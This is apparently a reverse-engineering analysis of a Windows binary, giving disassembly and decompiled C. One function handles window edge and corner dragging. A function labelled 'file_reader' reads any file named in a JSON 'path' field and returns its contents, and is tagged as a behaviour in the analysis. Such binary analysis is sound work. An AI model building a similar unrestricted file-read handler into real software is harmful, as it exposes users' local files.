14000310d	48 83 c2 18	ADD RDX,0x18
140003111	eb 2e	JMP LAB_140003141
LAB_140003120:
140003120	48 8b 4a f8	MOV RCX,qword ptr [RDX + -0x8]
LAB_140003124:
140003124	8b 09	MOV ECX,dword ptr [RCX]
140003126	3b 4c 24 21	CMP ECX,dword ptr [RSP + local_38+0x1]
14000312a	0f 84 d6 01 00 00	JZ LAB_140003306
LAB_140003130:
140003130	48 8d 4a e8	LEA RCX,[RDX + -0x18]
140003134	48 83 c2 70	ADD RDX,0x70
140003138	48 83 c1 70	ADD RCX,0x70
14000313c	48 39 c1	CMP RCX,RAX
14000313f	74 36	JZ LAB_140003177
LAB_140003141:
140003141	0f b6 4a e8	MOVZX ECX,byte ptr [RDX + -0x18]
140003145	f6 c1 01	TEST CL,0x1
140003148	74 16	JZ LAB_140003160
14000314a	4c 8b 42 f0	MOV R8,qword ptr [RDX + -0x10]
14000314e	49 83 f8 04	CMP R8,0x4
140003152	75 dc	JNZ LAB_140003130
140003154	eb 16	JMP LAB_14000316c
LAB_140003160:
140003160	41 89 c8	MOV R8D,ECX
140003163	41 d1 e8	SHR R8D,0x1
140003166	49 83 f8 04	CMP R8,0x4
14000316a	75 c4	JNZ LAB_140003130
LAB_14000316c:
14000316c	f6 c1 01	TEST CL,0x1
14000316f	75 af	JNZ LAB_140003120
140003171	48 8d 4a e9	LEA RCX,[RDX + -0x17]
140003175	eb ad	JMP LAB_140003124
LAB_140003177:
140003177	66 c7 44 24 20 00 00	MOV word ptr [RSP + local_38],0x0
14000317e	31 c0	XOR EAX,EAX
LAB_140003180:
140003180	41 89 c0	MOV R8D,EAX
140003183	41 d0 e8	SHR R8B,0x1
140003186	a8 01	TEST AL,0x1
140003188	45 0f b6 c8	MOVZX R9D,R8B
14000318c	4c 8d 44 24 21	LEA R8,[RSP + 0x21]
140003191	4c 0f 45 c1	CMOVNZ R8,RCX
140003195	49 89 d2	MOV R10,RDX
140003198	4d 0f 44 d1	CMOVZ R10,R9
14000319c	49 83 fa 04	CMP R10,0x4
1400031a0	75 0d	JNZ LAB_1400031af
1400031a2	41 81 38 6c 65 66 74	CMP dword ptr [R8],0x7466656c
1400031a9	0f 84 45 01 00 00	JZ LAB_1400032f4
LAB_1400031af:
1400031af	a8 01	TEST AL,0x1
1400031b1	49 89 d2	MOV R10,RDX
1400031b4	4d 0f 44 d1	CMOVZ R10,R9
1400031b8	49 83 fa 05	CMP R10,0x5
1400031bc	75 1b	JNZ LAB_1400031d9
1400031be	41 ba 72 69 67 68	MOV R10D,0x68676972
1400031c4	45 33 10	XOR R10D,dword ptr [R8]
1400031c7	45 0f b6 58 04	MOVZX R11D,byte ptr [R8 + local_38+0x5]
1400031cc	41 83 f3 74	XOR R11D,0x74
1400031d0	45 09 d3	OR R11D,R10D
1400031d3	0f 84 1f 01 00 00	JZ LAB_1400032f8
LAB_1400031d9:
1400031d9	a8 01	TEST AL,0x1
1400031db	49 89 d2	MOV R10,RDX
1400031de	4d 0f 44 d1	CMOVZ R10,R9
1400031e2	49 83 fa 03	CMP R10,0x3
1400031e6	75 1e	JNZ LAB_140003206
1400031e8	45 0f b7 10	MOVZX R10D,word ptr [R8]
1400031ec	41 81 f2 74 6f 00 00	XOR R10D,0x6f74
1400031f3	45 0f b6 58 02	MOVZX R11D,byte ptr [R8 + local_38+0x3]
1400031f8	41 83 f3 70	XOR R11D,0x70
1400031fc	66 45 09 d3	OR R11W,R10W
140003200	0f 84 f9 00 00 00	JZ LAB_1400032ff
LAB_140003206:
140003206	a8 01	TEST AL,0x1
140003208	49 89 d2	MOV R10,RDX
14000320b	4d 0f 44 d1	CMOVZ R10,R9
14000320f	49 83 fa 06	CMP R10,0x6
140003213	75 1e	JNZ LAB_140003233
140003215	41 ba 62 6f 74 74	MOV R10D,0x74746f62
14000321b	45 33 10	XOR R10D,dword ptr [R8]
14000321e	45 0f b7 58 04	MOVZX R11D,word ptr [R8 + local_38+0x5]
140003223	41 81 f3 6f 6d 00 00	XOR R11D,0x6d6f
14000322a	45 09 d3	OR R11D,R10D
14000322d	0f 84 0e 01 00 00	JZ LAB_140003341
LAB_140003233:
140003233	a8 01	TEST AL,0x1
140003235	49 89 d2	MOV R10,RDX
140003238	4d 0f 44 d1	CMOVZ R10,R9
14000323c	49 83 fa 07	CMP R10,0x7
140003240	75 1c	JNZ LAB_14000325e
140003242	41 ba 74 6f 70 6c	MOV R10D,0x6c706f74
140003248	45 33 10	XOR R10D,dword ptr [R8]
14000324b	41 bb 6c 65 66 74	MOV R11D,0x7466656c
140003251	45 33 58 03	XOR R11D,dword ptr [R8 + local_38+0x4]
140003255	45 09 d3	OR R11D,R10D
140003258	0f 84 ea 00 00 00	JZ LAB_140003348
LAB_14000325e:
14000325e	a8 01	TEST AL,0x1
140003260	49 89 d2	MOV R10,RDX
140003263	4d 0f 44 d1	CMOVZ R10,R9
140003267	49 83 fa 08	CMP R10,0x8
14000326b	75 1a	JNZ LAB_140003287
14000326d	49 ba 74 6f 6d 72 69 67 …	MOV R10,0x74686769726d6f74
140003277	49 81 c2 00 00 03 00	ADD R10,0x30000
14000327e	4d 39 10	CMP qword ptr [R8],R10
140003281	0f 84 c8 00 00 00	JZ LAB_14000334f
LAB_140003287:
140003287	a8 01	TEST AL,0x1
140003289	49 89 d2	MOV R10,RDX
14000328c	4d 0f 44 d1	CMOVZ R10,R9
140003290	49 83 fa 0a	CMP R10,0xa
140003294	75 22	JNZ LAB_1400032b8
140003296	49 ba 62 6f 74 74 6f 6d …	MOV R10,0x656c6d6f74746f62
1400032a0	4d 33 10	XOR R10,qword ptr [R8]
1400032a3	45 0f b7 58 08	MOVZX R11D,word ptr [R8 + local_30+0x1]
1400032a8	49 81 f3 66 74 00 00	XOR R11,0x7466
1400032af	4d 09 d3	OR R11,R10
1400032b2	0f 84 9e 00 00 00	JZ LAB_140003356
LAB_1400032b8:
1400032b8	a8 01	TEST AL,0x1
1400032ba	49 0f 44 d1	CMOVZ RDX,R9
1400032be	be 01 00 00 00	MOV ESI,0x1
1400032c3	48 83 fa 0b	CMP RDX,0xb
1400032c7	0f 85 9a 00 00 00	JNZ LAB_140003367
1400032cd	48 ba 62 6f 74 74 6f 6d …	MOV RDX,0x69726d6f74746f62
1400032d7	49 33 10	XOR RDX,qword ptr [R8]
1400032da	49 b9 74 6f 6d 72 69 67 …	MOV R9,0x74686769726d6f74
1400032e4	4d 33 48 03	XOR R9,qword ptr [R8 + local_38+0x4]
1400032e8	49 09 d1	OR R9,RDX
1400032eb	75 7a	JNZ LAB_140003367
1400032ed	ba 70 00 00 00	MOV EDX,0x70
1400032f2	eb 67	JMP LAB_14000335b
LAB_1400032f4:
1400032f4	31 d2	XOR EDX,EDX
1400032f6	eb 63	JMP LAB_14000335b
LAB_1400032f8:
1400032f8	ba 10 00 00 00	MOV EDX,0x10
1400032fd	eb 5c	JMP LAB_14000335b
LAB_1400032ff:
1400032ff	ba 20 00 00 00	MOV EDX,0x20
140003304	eb 55	JMP LAB_14000335b
LAB_140003306:
140003306	66 c7 44 24 38 00 00	MOV word ptr [RSP + local_20],0x0
14000330d	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
140003312	4c 8d 44 24 38	LEA R8,[RSP + 0x38]
140003317	e8 f4 49 00 00	CALL FUN_140007d10	; FUN_140007d10: strlen, memcpy
14000331c	f6 44 24 38 01	TEST byte ptr [RSP + local_20],0x1
140003321	74 0a	JZ LAB_14000332d
140003323	48 8b 4c 24 48	MOV RCX,qword ptr [RSP + local_10]
140003328	e8 b3 c5 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_14000332d:
14000332d	0f b6 44 24 20	MOVZX EAX,byte ptr [RSP + local_38]
140003332	48 8b 54 24 28	MOV RDX,qword ptr [RSP + local_30]
140003337	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_28]
14000333c	e9 3f fe ff ff	JMP LAB_140003180
LAB_140003341:
140003341	ba 30 00 00 00	MOV EDX,0x30
140003346	eb 13	JMP LAB_14000335b
LAB_140003348:
140003348	ba 40 00 00 00	MOV EDX,0x40
14000334d	eb 0c	JMP LAB_14000335b
LAB_14000334f:
14000334f	ba 50 00 00 00	MOV EDX,0x50
140003354	eb 05	JMP LAB_14000335b
LAB_140003356:
140003356	ba 60 00 00 00	MOV EDX,0x60
LAB_14000335b:
14000335b	4c 8d 05 ae 86 09 00	LEA R8,[PTR_DAT_14009ba10]
140003362	42 8b 74 02 08	MOV ESI,dword ptr [RDX + R8*0x1 + 0x8]
LAB_140003367:
140003367	a8 01	TEST AL,0x1
140003369	74 05	JZ LAB_140003370
14000336b	e8 70 c5 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140003370:
140003370	83 fe 01	CMP ESI,0x1
140003373	74 37	JZ LAB_1400033ac
140003375	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
14000337a	ff 15 b0 ef 0a 00	CALL qword ptr [PTR_GetCursorPos_1400b2330]
140003380	ff 15 02 f0 0a 00	CALL qword ptr [PTR_ReleaseCapture_1400b2388]
140003386	48 8b 0d c3 60 0c 00	MOV RCX,qword ptr [DAT_1400c9450]
14000338d	4c 63 c6	MOVSXD R8,ESI
140003390	0f b7 44 24 20	MOVZX EAX,word ptr [RSP + local_38]
140003395	44 8b 4c 24 24	MOV R9D,dword ptr [RSP + local_38+0x4]
14000339a	41 c1 e1 10	SHL R9D,0x10
14000339e	41 09 c1	OR R9D,EAX
1400033a1	ba a1 00 00 00	MOV EDX,0xa1
1400033a6	ff 15 ec ef 0a 00	CALL qword ptr [PTR_SendMessageW_1400b2398]
LAB_1400033ac:
1400033ac	90	NOP
1400033ad	48 83 c4 50	ADD RSP,0x50
1400033b1	5e	POP RSI
1400033b2	c3	RET

file_reader

0x1400033d0975 bytes

undefined file_reader(ulonglong param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

Reads files by path parameter, builds JSON response with contents

Cited as: E15
Behaviours: B9
Called from: ui_thread_handler
Calls: CloseHandle CreateFileW ReadFile json_response_builder, FUN_140002cd0, http_request_builder, FUN_140007d10, FUN_14000ea50, FUN_14000ea80, FUN_14000eec0, FUN_14001f8e0, FUN_140021ad4

Decompiled C · 201 lines

void file_reader(ulonglong param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  longlong lVar2;
  undefined8 uVar3;
  BOOL BVar4;
  ulonglong uVar5;
  HANDLE hFile;
  undefined8 *puVar6;
  int *piVar7;
  void *pvVar8;
  LPCWSTR lpFileName;
  int *in_RDX;
  int *piVar9;
  char *pcVar10;
  undefined8 in_R9;
  LPDWORD pDVar11;
  undefined4 unaff_XMM6_Da;
  undefined4 unaff_XMM6_Db;
  undefined4 unaff_XMM6_Dc;
  undefined4 unaff_XMM6_Dd;
  undefined1 auStackX_10 [8];
  undefined8 uStackX_18;
  undefined8 uStackX_20;
  undefined8 uStack_38;
  
  uStack_38 = 0x1400033e3;
  uVar5 = FUN_140021ad4();
  lVar2 = -uVar5;
  *(undefined4 *)(&stack0x000020c0 + lVar2) = unaff_XMM6_Da;
  *(undefined4 *)(&stack0x000020c4 + lVar2) = unaff_XMM6_Db;
  *(undefined4 *)(&stack0x000020c8 + lVar2) = unaff_XMM6_Dc;
  *(undefined4 *)(&stack0x000020cc + lVar2) = unaff_XMM6_Dd;
  *(undefined8 *)(&stack0x00000030 + lVar2) = 0;
  *(undefined8 *)(&stack0x00000038 + lVar2) = 0;
  *(undefined8 *)(&stack0x00000040 + lVar2) = 0;
  if (in_RDX != (int *)0x0) {
    (&stack0x000000c0)[lVar2] = 8;
    *(undefined4 *)(&stack0x000000c1 + lVar2) = 0x68746170;
    if (*in_RDX == 6) {
      if (*(int **)(in_RDX + 0x10) != *(int **)(in_RDX + 0x12)) {
        piVar9 = *(int **)(in_RDX + 0x10) + 6;
        do {
          bVar1 = *(byte *)(piVar9 + -6);
          if ((bVar1 & 1) != 0) {
            if (*(longlong *)(piVar9 + -4) != 4) goto LAB_14000345f;
LAB_14000349c:
            if ((bVar1 & 1) == 0) {
              piVar7 = (int *)((longlong)piVar9 + -0x17);
            }
            else {
              piVar7 = *(int **)(piVar9 + -2);
            }
            if (*piVar7 != *(int *)(&stack0x000000c1 + lVar2)) goto LAB_14000345f;
            *(undefined2 *)(auStackX_10 + lVar2) = 0;
            *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400034c0;
            FUN_140007d10((longlong *)(&stack0x000000c0 + lVar2),piVar9,auStackX_10 + lVar2,in_R9);
            *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400034d2;
            uVar5 = http_request_builder(&stack0x000000c0 + lVar2,param_2,param_3,param_4);
            if (((&stack0x000000c0)[lVar2] & 1) == 0) {
              bVar1 = auStackX_10[lVar2];
            }
            else {
              *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000350b;
              FUN_14001f8e0(*(void **)(&stack0x000000d0 + lVar2));
              bVar1 = auStackX_10[lVar2];
            }
            if ((bVar1 & 1) != 0) {
              *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000351c;
              FUN_14001f8e0(*(void **)((longlong)&uStackX_20 + lVar2));
            }
            if ((char)uVar5 != '\0') {
              if (((&stack0x00000030)[lVar2] & 1) == 0) {
                lpFileName = (LPCWSTR)(&stack0x00000032 + lVar2);
              }
              else {
                lpFileName = *(LPCWSTR *)(&stack0x00000040 + lVar2);
              }
              *(undefined8 *)(&stack0x00000000 + lVar2) = 0;
              *(undefined4 *)(&stack0xfffffffffffffff8 + lVar2) = 0x80;
              *(undefined4 *)(&stack0xfffffffffffffff0 + lVar2) = 3;
              *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400035cd;
              hFile = CreateFileW(lpFileName,0x80000000,1,(LPSECURITY_ATTRIBUTES)0x0,
                                  *(DWORD *)(&stack0xfffffffffffffff0 + lVar2),
                                  *(DWORD *)(&stack0xfffffffffffffff8 + lVar2),
                                  *(HANDLE *)(&stack0x00000000 + lVar2));
              if (hFile != (HANDLE)0xffffffffffffffff) {
                *(undefined8 *)(auStackX_10 + lVar2) = 0;
                *(undefined8 *)((longlong)&uStackX_18 + lVar2) = 0;
                *(undefined8 *)((longlong)&uStackX_20 + lVar2) = 0;
                while( true ) {
                  *(undefined8 *)(&stack0xfffffffffffffff0 + lVar2) = 0;
                  pcVar10 = (char *)0x2000;
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000362b;
                  pDVar11 = (LPDWORD)(&stack0x0000002c + lVar2);
                  BVar4 = ReadFile(hFile,&stack0x000000c0 + lVar2,0x2000,
                                   (LPDWORD)(&stack0x0000002c + lVar2),
                                   *(LPOVERLAPPED *)(&stack0xfffffffffffffff0 + lVar2));
                  if ((BVar4 == 0) ||
                     (pcVar10 = (char *)(ulonglong)*(uint *)(&stack0x0000002c + lVar2),
                     *(uint *)(&stack0x0000002c + lVar2) == 0)) break;
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003644;
                  FUN_14000ea80((ulonglong *)(auStackX_10 + lVar2),&stack0x000000c0 + lVar2,
                                (ulonglong)pcVar10,pDVar11);
                }
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000364f;
                CloseHandle(hFile);
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003661;
                FUN_140002cd0((ulonglong *)(&stack0x00000090 + lVar2),auStackX_10 + lVar2,pcVar10,
                              pDVar11);
                pcVar10 = "{\"text\":\"";
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003677;
                puVar6 = (undefined8 *)
                         FUN_14000eec0((ulonglong *)(&stack0x00000090 + lVar2),0,
                                       (byte *)"{\"text\":\"");
                *(undefined8 *)(&stack0x00000060 + lVar2) = puVar6[2];
                uVar3 = puVar6[1];
                *(undefined8 *)(&stack0x00000050 + lVar2) = *puVar6;
                *(undefined8 *)(&stack0x00000058 + lVar2) = uVar3;
                *puVar6 = 0;
                puVar6[1] = 0;
                puVar6[2] = 0;
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400036b0;
                puVar6 = (undefined8 *)
                         FUN_14000ea50((ulonglong *)(&stack0x00000050 + lVar2),"\"}",pcVar10,pDVar11
                                      );
                *(undefined8 *)(&stack0x00000080 + lVar2) = puVar6[2];
                uVar3 = puVar6[1];
                *(undefined8 *)(&stack0x00000070 + lVar2) = *puVar6;
                *(undefined8 *)(&stack0x00000078 + lVar2) = uVar3;
                *puVar6 = 0;
                puVar6[1] = 0;
                puVar6[2] = 0;
                *(undefined2 *)(&stack0x000000a8 + lVar2) = 0;
                *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400036f6;
                json_response_builder(param_1,'\x01',&stack0x00000070 + lVar2,&stack0x000000a8 + lVar2);
                if (((&stack0x00000070)[lVar2] & 1) == 0) {
                  if (((&stack0x00000050)[lVar2] & 1) == 0) goto LAB_14000370a;
LAB_14000377c:
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003789;
                  FUN_14001f8e0(*(void **)(&stack0x00000060 + lVar2));
                  if (((&stack0x00000090)[lVar2] & 1) != 0) goto LAB_140003793;
LAB_140003714:
                  bVar1 = auStackX_10[lVar2];
                }
                else {
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003772;
                  FUN_14001f8e0(*(void **)(&stack0x00000080 + lVar2));
                  if (((&stack0x00000050)[lVar2] & 1) != 0) goto LAB_14000377c;
LAB_14000370a:
                  if (((&stack0x00000090)[lVar2] & 1) == 0) goto LAB_140003714;
LAB_140003793:
                  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x1400037a0;
                  FUN_14001f8e0(*(void **)(&stack0x000000a0 + lVar2));
                  bVar1 = auStackX_10[lVar2];
                }
                if ((bVar1 & 1) == 0) goto LAB_140003571;
                pvVar8 = *(void **)((longlong)&uStackX_20 + lVar2);
                goto LAB_14000356c;
              }
              *(undefined2 *)(&stack0x000000c0 + lVar2) = 0;
              auStackX_10[lVar2] = 0x12;
              *(undefined8 *)(auStackX_10 + lVar2 + 1) = 0x6e756f6620746f6e;
              *(undefined2 *)((longlong)&uStackX_18 + lVar2 + 1) = 100;
              *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003760;
              json_response_builder(param_1,'\0',&stack0x000000c0 + lVar2,auStackX_10 + lVar2);
              goto LAB_14000355a;
            }
            break;
          }
          if (bVar1 >> 1 == 4) goto LAB_14000349c;
LAB_14000345f:
          piVar7 = piVar9 + 0x16;
          piVar9 = piVar9 + 0x1c;
        } while (piVar7 != *(int **)(in_RDX + 0x12));
      }
    }
  }
  *(undefined2 *)(&stack0x000000c0 + lVar2) = 0;
  auStackX_10[lVar2] = 0x10;
  *(undefined8 *)(auStackX_10 + lVar2 + 1) = 0x6874617020646162;
  *(undefined1 *)((longlong)&uStackX_18 + lVar2 + 1) = 0;
  *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x14000355a;
  json_response_builder(param_1,'\0',&stack0x000000c0 + lVar2,auStackX_10 + lVar2);
LAB_14000355a:
  if (((&stack0x000000c0)[lVar2] & 1) != 0) {
    pvVar8 = *(void **)(&stack0x000000d0 + lVar2);
LAB_14000356c:
    *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003571;
    FUN_14001f8e0(pvVar8);
  }
LAB_140003571:
  if (((&stack0x00000030)[lVar2] & 1) != 0) {
    *(undefined8 *)((longlong)&uStack_38 + lVar2) = 0x140003582;
    FUN_14001f8e0(*(void **)(&stack0x00000040 + lVar2));
  }
  return;
}

Assembly · 203 instructions, 17 annotated

Address	Bytes	Instruction	Comment
1400033d0	41 57	PUSH R15
1400033d2	41 56	PUSH R14
1400033d4	41 54	PUSH R12
1400033d6	56	PUSH RSI
1400033d7	57	PUSH RDI
1400033d8	53	PUSH RBX
1400033d9	b8 08 21 00 00	MOV EAX,0x2108
1400033de	e8 f1 e6 01 00	CALL FUN_140021ad4
1400033e3	48 29 c4	SUB RSP,RAX
1400033e6	0f 29 b4 24 f0 20 00 00	MOVAPS xmmword ptr [RSP + 0x20f0],XMM6
1400033ee	48 89 ce	MOV RSI,RCX
1400033f1	0f 57 c0	XORPS XMM0,XMM0
1400033f4	0f 29 44 24 60	MOVAPS xmmword ptr [RSP + 0x60],XMM0
1400033f9	48 c7 44 24 70 00 00 00 …	MOV qword ptr [RSP + 0x70],0x0
140003402	48 85 d2	TEST RDX,RDX
140003405	0f 84 15 01 00 00	JZ LAB_140003520
14000340b	c6 84 24 f0 00 00 00 08	MOV byte ptr [RSP + 0xf0],0x8
140003413	c7 84 24 f1 00 00 00 70 …	MOV dword ptr [RSP + 0xf1],0x68746170
14000341e	83 3a 06	CMP dword ptr [RDX],0x6
140003421	0f 85 f9 00 00 00	JNZ LAB_140003520
140003427	48 89 d0	MOV RAX,RDX
14000342a	48 8b 52 40	MOV RDX,qword ptr [RDX + 0x40]
14000342e	48 8b 40 48	MOV RAX,qword ptr [RAX + 0x48]
140003432	48 39 c2	CMP RDX,RAX
140003435	0f 84 e5 00 00 00	JZ LAB_140003520
14000343b	48 83 c2 18	ADD RDX,0x18
14000343f	eb 33	JMP LAB_140003474
LAB_140003450:
140003450	48 8b 4a f8	MOV RCX,qword ptr [RDX + -0x8]
LAB_140003454:
140003454	8b 09	MOV ECX,dword ptr [RCX]
140003456	3b 8c 24 f1 00 00 00	CMP ECX,dword ptr [RSP + 0xf1]
14000345d	74 48	JZ LAB_1400034a7
LAB_14000345f:
14000345f	48 8d 4a e8	LEA RCX,[RDX + -0x18]
140003463	48 83 c2 70	ADD RDX,0x70
140003467	48 83 c1 70	ADD RCX,0x70
14000346b	48 39 c1	CMP RCX,RAX
14000346e	0f 84 ac 00 00 00	JZ LAB_140003520
LAB_140003474:
140003474	0f b6 4a e8	MOVZX ECX,byte ptr [RDX + -0x18]
140003478	f6 c1 01	TEST CL,0x1
14000347b	74 13	JZ LAB_140003490
14000347d	4c 8b 42 f0	MOV R8,qword ptr [RDX + -0x10]
140003481	49 83 f8 04	CMP R8,0x4
140003485	75 d8	JNZ LAB_14000345f
140003487	eb 13	JMP LAB_14000349c
LAB_140003490:
140003490	41 89 c8	MOV R8D,ECX
140003493	41 d1 e8	SHR R8D,0x1
140003496	49 83 f8 04	CMP R8,0x4
14000349a	75 c3	JNZ LAB_14000345f
LAB_14000349c:
14000349c	f6 c1 01	TEST CL,0x1
14000349f	75 af	JNZ LAB_140003450
1400034a1	48 8d 4a e9	LEA RCX,[RDX + -0x17]
1400034a5	eb ad	JMP LAB_140003454
LAB_1400034a7:
1400034a7	66 c7 44 24 40 00 00	MOV word ptr [RSP + 0x40],0x0
1400034ae	48 8d 8c 24 f0 00 00 00	LEA RCX,[RSP + 0xf0]
1400034b6	4c 8d 44 24 40	LEA R8,[RSP + 0x40]
1400034bb	e8 50 48 00 00	CALL FUN_140007d10	; FUN_140007d10: strlen, memcpy
1400034c0	48 8d 8c 24 f0 00 00 00	LEA RCX,[RSP + 0xf0]
1400034c8	48 8d 54 24 60	LEA RDX,[RSP + 0x60]
1400034cd	e8 4e 11 00 00	CALL http_request_builder	; → http_request_builder (B3, E22)
1400034d2	89 c3	MOV EBX,EAX
1400034d4	f6 84 24 f0 00 00 00 01	TEST byte ptr [RSP + 0xf0],0x1
1400034dc	75 20	JNZ LAB_1400034fe
1400034de	f6 44 24 40 01	TEST byte ptr [RSP + 0x40],0x1
1400034e3	75 2d	JNZ LAB_140003512
LAB_1400034e5:
1400034e5	84 db	TEST BL,BL
1400034e7	74 37	JZ LAB_140003520
LAB_1400034e9:
1400034e9	f6 44 24 60 01	TEST byte ptr [RSP + 0x60],0x1
1400034ee	0f 84 a7 00 00 00	JZ LAB_14000359b
1400034f4	48 8b 4c 24 70	MOV RCX,qword ptr [RSP + 0x70]
1400034f9	e9 a2 00 00 00	JMP LAB_1400035a0
LAB_1400034fe:
1400034fe	48 8b 8c 24 00 01 00 00	MOV RCX,qword ptr [RSP + 0x100]
140003506	e8 d5 c3 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000350b	f6 44 24 40 01	TEST byte ptr [RSP + 0x40],0x1
140003510	74 d3	JZ LAB_1400034e5
LAB_140003512:
140003512	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + 0x50]
140003517	e8 c4 c3 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000351c	84 db	TEST BL,BL
14000351e	75 c9	JNZ LAB_1400034e9
LAB_140003520:
140003520	66 c7 84 24 f0 00 00 00 …	MOV word ptr [RSP + 0xf0],0x0
14000352a	c6 44 24 40 10	MOV byte ptr [RSP + 0x40],0x10
14000352f	48 b8 62 61 64 20 70 61 …	MOV RAX,0x6874617020646162
140003539	48 89 44 24 41	MOV qword ptr [RSP + 0x41],RAX
14000353e	c6 44 24 49 00	MOV byte ptr [RSP + 0x49],0x0
140003543	4c 8d 84 24 f0 00 00 00	LEA R8,[RSP + 0xf0]
14000354b	4c 8d 4c 24 40	LEA R9,[RSP + 0x40]
140003550	48 89 f1	MOV RCX,RSI
140003553	31 d2	XOR EDX,EDX
140003555	e8 a6 f3 ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
LAB_14000355a:
14000355a	f6 84 24 f0 00 00 00 01	TEST byte ptr [RSP + 0xf0],0x1
140003562	74 0d	JZ LAB_140003571
140003564	48 8b 8c 24 00 01 00 00	MOV RCX,qword ptr [RSP + 0x100]
LAB_14000356c:
14000356c	e8 6f c3 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140003571:
140003571	f6 44 24 60 01	TEST byte ptr [RSP + 0x60],0x1
140003576	74 0a	JZ LAB_140003582
140003578	48 8b 4c 24 70	MOV RCX,qword ptr [RSP + 0x70]
14000357d	e8 5e c3 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140003582:
140003582	0f 28 b4 24 f0 20 00 00	MOVAPS XMM6,xmmword ptr [RSP + 0x20f0]
14000358a	48 81 c4 08 21 00 00	ADD RSP,0x2108
140003591	5b	POP RBX
140003592	5f	POP RDI
140003593	5e	POP RSI
140003594	41 5c	POP R12
140003596	41 5e	POP R14
140003598	41 5f	POP R15
14000359a	c3	RET
LAB_14000359b:
14000359b	48 8d 4c 24 62	LEA RCX,[RSP + 0x62]
LAB_1400035a0:
1400035a0	48 c7 44 24 30 00 00 00 …	MOV qword ptr [RSP + 0x30],0x0
1400035a9	c7 44 24 28 80 00 00 00	MOV dword ptr [RSP + 0x28],0x80
1400035b1	c7 44 24 20 03 00 00 00	MOV dword ptr [RSP + 0x20],0x3
1400035b9	ba 00 00 00 80	MOV EDX,0x80000000
1400035be	41 b8 01 00 00 00	MOV R8D,0x1
1400035c4	45 31 c9	XOR R9D,R9D
1400035c7	ff 15 0b f2 0a 00	CALL qword ptr [PTR_CreateFileW_1400b27d8]
1400035cd	48 89 c7	MOV RDI,RAX
1400035d0	48 83 f8 ff	CMP RAX,-0x1
1400035d4	0f 84 4a 01 00 00	JZ LAB_140003724
1400035da	0f 57 c0	XORPS XMM0,XMM0
1400035dd	0f 29 44 24 40	MOVAPS xmmword ptr [RSP + 0x40],XMM0
1400035e2	48 c7 44 24 50 00 00 00 …	MOV qword ptr [RSP + 0x50],0x0
1400035eb	48 8d 9c 24 f0 00 00 00	LEA RBX,[RSP + 0xf0]
1400035f3	4c 8d 74 24 5c	LEA R14,[RSP + 0x5c]
1400035f8	4c 8b 25 61 f3 0a 00	MOV R12,qword ptr [PTR_ReadFile_1400b2960]
1400035ff	4c 8d 7c 24 40	LEA R15,[RSP + 0x40]
140003604	66 66 66 2e 0f 1f 84 00 …	NOP word ptr CS:[RAX + RAX*0x1]
LAB_140003610:
140003610	48 c7 44 24 20 00 00 00 …	MOV qword ptr [RSP + 0x20],0x0
140003619	48 89 f9	MOV RCX,RDI
14000361c	48 89 da	MOV RDX,RBX
14000361f	41 b8 00 20 00 00	MOV R8D,0x2000
140003625	4d 89 f1	MOV R9,R14
140003628	41 ff d4	CALL R12
14000362b	85 c0	TEST EAX,EAX
14000362d	74 17	JZ LAB_140003646
14000362f	44 8b 44 24 5c	MOV R8D,dword ptr [RSP + 0x5c]
140003634	45 85 c0	TEST R8D,R8D
140003637	74 0d	JZ LAB_140003646
140003639	4c 89 f9	MOV RCX,R15
14000363c	48 89 da	MOV RDX,RBX
14000363f	e8 3c b4 00 00	CALL FUN_14000ea80	; FUN_14000ea80: memmove, memcpy
140003644	eb ca	JMP LAB_140003610
LAB_140003646:
140003646	48 89 f9	MOV RCX,RDI
140003649	ff 15 79 f1 0a 00	CALL qword ptr [PTR_CloseHandle_1400b27c8]
14000364f	48 8d 8c 24 c0 00 00 00	LEA RCX,[RSP + 0xc0]
140003657	48 8d 54 24 40	LEA RDX,[RSP + 0x40]
14000365c	e8 6f f6 ff ff	CALL FUN_140002cd0	; FUN_140002cd0: memmove, __stdio_common_vsprintf, strlen
140003661	4c 8d 05 9e 85 09 00	LEA R8,[s_{"text":"_14009bc06]	; "{\"text\":\""
140003668	48 8d 8c 24 c0 00 00 00	LEA RCX,[RSP + 0xc0]
140003670	31 d2	XOR EDX,EDX
140003672	e8 49 b8 00 00	CALL FUN_14000eec0	; FUN_14000eec0: strlen
140003677	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
14000367b	48 89 8c 24 90 00 00 00	MOV qword ptr [RSP + 0x90],RCX
140003683	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
140003686	0f 29 84 24 80 00 00 00	MOVAPS xmmword ptr [RSP + 0x80],XMM0
14000368e	0f 57 f6	XORPS XMM6,XMM6
140003691	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
